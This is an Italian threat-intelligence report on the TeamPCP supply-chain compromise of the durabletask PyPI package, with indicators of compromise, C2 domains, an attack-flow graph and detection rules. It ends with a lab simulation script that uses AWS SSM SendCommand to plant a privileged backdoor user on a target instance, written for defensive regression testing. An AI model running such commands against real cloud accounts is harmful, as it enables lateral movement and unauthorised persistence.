durabletask: Il più recente compromesso della catena di fornitura PyPI di TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
Un attacco alla supply chain ha preso di mira il Microsoft durabletask pacchetto Python su PyPI, risultando nella pubblicazione di versioni malevole 1.4.1, 1.4.2, e 1.4.3. L’attaccante avrebbe sfruttato un account GitHub compromesso per ottenere un token PyPI e caricare file wheel armati. Il payload malevolo è stato distribuito attraverso rope.pyz archivi progettati per rubare credenziali cloud e diffondersi ad altri sistemi. Gli sforzi di rilevamento dovrebbero concentrarsi su specifici file temporanei, attività di processo sospette e traffico verso i domini di comando e controllo identificati.
Indagine
Wiz ha collegato l’account GitHub compromesso alla precedente campagna @antv . La loro analisi ha rilevato che l’attaccante ha riutilizzato i messaggi di commit e ha avuto accesso ai segreti GitHub trapelati contenenti il token di pubblicazione PyPI. I file wheel malevoli includevano un componente transformers.pyz che depositava rope.pyz payload nei /tmp e avviava comunicazioni di comando e controllo con check.git-service.com and t.m-kosche.com.
Mitigazione
Le organizzazioni dovrebbero ruotare qualsiasi credenziale di cloud e password manager potenzialmente esposta, bloccare i domini e URL di comando e controllo identificati, e cercare indicatori di infezione come ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Qualsiasi file managed.pyz or rope-*.pyz temporaneo dovrebbe essere rimosso, e i processi Python correlati dovrebbero essere terminati. Anche le Azioni GitHub e i flussi di lavoro di pubblicazione su PyPI dovrebbero essere rafforzati per ridurre il rischio di compromessi simili.
Risposta
I team di sicurezza dovrebbero identificare qualsiasi uso delle durabletask versioni 1.4.1 attraverso 1.4.3, cercare /tmp/managed.pyz and /tmp/rope-*.pyz, e monitorare i processi python3 che eseguono quei file. Il traffico DNS e HTTP in uscita verso check.git-service.com and t.m-kosche.com dovrebbe essere bloccato, mentre i log di audit di CloudTrail e Kubernetes dovrebbero essere esaminati per attività sospette di SSM o kubectl exec . Le credenziali compromesse dovrebbero essere ruotate immediatamente, e i log del password manager dovrebbero essere controllati per segni di forza bruta o accesso non autorizzato.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node["<b>Inizio</b>: L’attaccante ottiene credenziali GitHub valide"] class initial_node action action_initial_access["<b>Azione</b> – <b>T1078 Account Validi</b>: Account GitHub compromesso fornisce accesso al repository"] class action_initial_access action tool_gitHub["<b>Strumento</b> – <b>Nome</b>: GitHub<br/><b>Ruolo</b>: Piattaforma di hosting del codice sorgente"] class tool_gitHub tool action_cred_exploit["<b>Azione</b> – <b>T1212 Sfruttamento per Accesso a Credenziali</b>: Segreti GitHub scaricati per ottenere il token PyPI"] class action_cred_exploit action file_pypi_token["<b>File</b> – <b>Nome</b>: Token PyPI"] class file_pypi_token file action_cred_password_stores["<b>Azione</b> – <b>T1555.005 Password Manager</b> & <b>T1555.006 Archivi di Gestione di Segreti Cloud</b>: Credenziali raccolte per piattaforme cloud e password manager"] class action_cred_password_stores action credential_aws["<b>Credenziale</b>: Chiavi di accesso AWS e token SSM"] class credential_aws credential credential_azure["<b>Credenziale</b>: Principale di servizio Azure"] class credential_azure credential credential_gcp["<b>Credenziale</b>: Account di servizio GCP"] class credential_gcp credential credential_k8s["<b>Credenziale</b>: Token di account di servizio Kubernetes"] class credential_k8s credential credential_vault["<b>Credenziale</b>: Token di HashiCorp Vault"] class credential_vault credential action_supply_chain["<b>Azione</b> – <b>T1195.002 Compromissione della Catena di Fornitura del Software</b>: Usato il token PyPI per pubblicare pacchetti malevoli durabletask 1.4.1-1.4.3"] class action_supply_chain action tool_pypi["<b>Strumento</b> – <b>Nome</b>: Repository PyPI"] class tool_pypi tool malware_durabletask["<b>Malware</b> – <b>Nome</b>: Pacchetto durabletask (malevole)"] class malware_durabletask malware action_execution["<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b>: Le vittime installano pacchetto compromesso causando il download del payload"] class action_execution action file_managed["<b>File</b> – <b>Percorso</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>File</b> – <b>Percorso</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>Azione</b> – <b>T1127 Proxy di Esecuzione di Utilità di Sviluppatori Fidati</b>: Codice malevolo eseguito tramite hook d’importazione Python"] class action_defense_evasion action action_persistence["<b>Azione</b> – <b>T1176 Estensioni Software</b>: Punti d’iniezione in __init__.py e altri moduli"] class action_persistence action action_credential_dumping["<b>Azione</b> – <b>T1003 Dumping di Credenziali OS</b>: Estratti token SSM AWS, token Kubernetes e cronologia della shell"] class action_credential_dumping action action_lateral_movement["<b>Azione</b> – <b>T1570 Trasferimento di Strumenti Laterale</b>: Propagato a host aggiuntivi tramite AWS SSM e Kubernetes exec"] class action_lateral_movement action tool_aws_ssm["<b>Strumento</b> – <b>Nome</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>Strumento</b> – <b>Nome</b>: Kubernetes exec"] class tool_k8s_exec tool op_and(("AND")) class op_and operator action_c2["<b>Azione</b> – <b>T1219 Strumenti di Accesso Remoto</b> & <b>T1071.001 Protocolli Web</b>: Comunica con domini C2 usando l’endpoint /v1/models"] class action_c2 action c2_domain1["<b>Dominio C2</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>Dominio C2</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>Azione</b> – <b>T1048 Esfiltrazione tramite Protocollo Alternativo</b>: Inviati dati all’endpoint /api/public/version"] class action_exfiltration action exfil_endpoint["<b>Endpoint</b>: /api/public/version"] class exfil_endpoint c2 %% Connessioni initial_node –>|porta_a| action_initial_access action_initial_access –>|attiva| action_cred_exploit action_cred_exploit –>|cattura| file_pypi_token file_pypi_token –>|usato_da| action_supply_chain action_supply_chain –>|pubblica| malware_durabletask malware_durabletask –>|installato_da| action_execution action_execution –>|scarica| file_managed action_execution –>|scarica| file_rope file_managed –>|eseguito_tramite| action_defense_evasion file_rope –>|eseguito_tramite| action_defense_evasion action_defense_evasion –>|stabilisce| action_persistence action_persistence –>|attiva| action_credential_dumping action_credential_dumping –>|raccoglie| credential_aws action_credential_dumping –>|raccoglie| credential_azure action_credential_dumping –>|raccoglie| credential_gcp action_credential_dumping –>|raccoglie| credential_k8s action_credential_dumping –>|raccoglie| credential_vault credential_aws –>|usato_per| action_lateral_movement credential_k8s –>|usato_per| action_lateral_movement action_lateral_movement –>|sfrutta| tool_aws_ssm action_lateral_movement –>|sfrutta| tool_k8s_exec action_lateral_movement –>|si_diffonde_su| op_and op_and –>|si_connette_a| action_c2 action_c2 –>|contatti| c2_domain1 action_c2 –>|contatti| c2_domain2 c2_domain1 –>|riceve_dati_tramite| action_exfiltration c2_domain2 –>|riceve_dati_tramite| action_exfiltration action_exfiltration –>|invia_a| exfil_endpoint "
Flusso di Attacco
Rilevamenti
Download Eseguibile Sospetto (tramite proxy)
Visualizza
Script Linux creato nelle cartelle temporanee (tramite file_event)
Visualizza
File Nascosto creato su Host Linux (tramite file_event)
Visualizza
IOC (HashSha256) da rilevare: durabletask: Ultimo Compromesso PyPi di TeamPCP
Visualizza
Connessione in uscita ai Domini C2 di TeamPCP [Proxy]
Visualizza
Rileva Esecuzione di Payload Python tramite /tmp/managed.pyz [Creazione Processo Linux]
Visualizza
Rilevazione della Propagazione SSM AWS tramite SSM:SendCommand e SSM:DescribeInstanceInformation [AWS Cloudtrail]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.
Spiegazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.
-
Narrativa & Comandi di Attacco:
Un avversario ha ottenuto credenziali su un’istanza EC2 compromessa (Istanza A). Utilizzando quelle credenziali, l’attaccante sfrutta AWS Systems Manager per infiltrarsi in una seconda istanza (Istanza B) senza aprire alcuna porta di rete. I passaggi sono:- Enumerare le istanze raggiungibili via
SSM:DescribeInstanceInformationper individuare gli obiettivi. - Eseguire un comando malevolo attraverso
SSM:SendCommand(ad esempio, creare un nuovo utente privilegiato) sull’istanza di destinazione. - Convalidare l’esecuzione recuperando l’output del comando.
L’attaccante utilizza l’AWS CLI, che genera direttamente eventi CloudTrail per entrambe le chiamate API, soddisfando le condizioni della regola.
- Enumerare le istanze raggiungibili via
-
Script di Test di Regressione: Lo script sotto riproduce l’attacco in un laboratorio controllato. Si aspetta che l’AWS CLI sia configurato con credenziali con
ssm:SendCommandandssm:DescribeInstanceInformationpermessi.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variabili – regola per l'ambiente di laboratorio # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Istanza A (punto d'attacco) TARGET_INSTANCE="i-0fedcba9876543210" # Istanza B (obiettivo laterale) # 1️⃣ Enumerare le istanze gestite da SSM (attiva DescribeInstanceInformation) echo "[*] Enumerazione delle istanze gestite da SSM..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Inviare un comando malevolo all'obiettivo (attiva SendCommand) echo "[*] Invio di payload malevolo a $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Perpetuare utente malevolo" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Recuperare ID del comando e attendere il completamento (opzionale) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] ID del comando: $CMD_ID – in attesa dell'esecuzione..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulazione completata. CloudTrail dovrebbe ora contenere entrambi gli eventi SSM:DescribeInstanceInformation e SSM:SendCommand." -
Comandi di Pulizia: Rimuovere l’utente malevolo ed eliminare qualsiasi cronologia di comandi residua.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Pulizia dei manufatti malevoli su $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Pulizia dopo il test" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"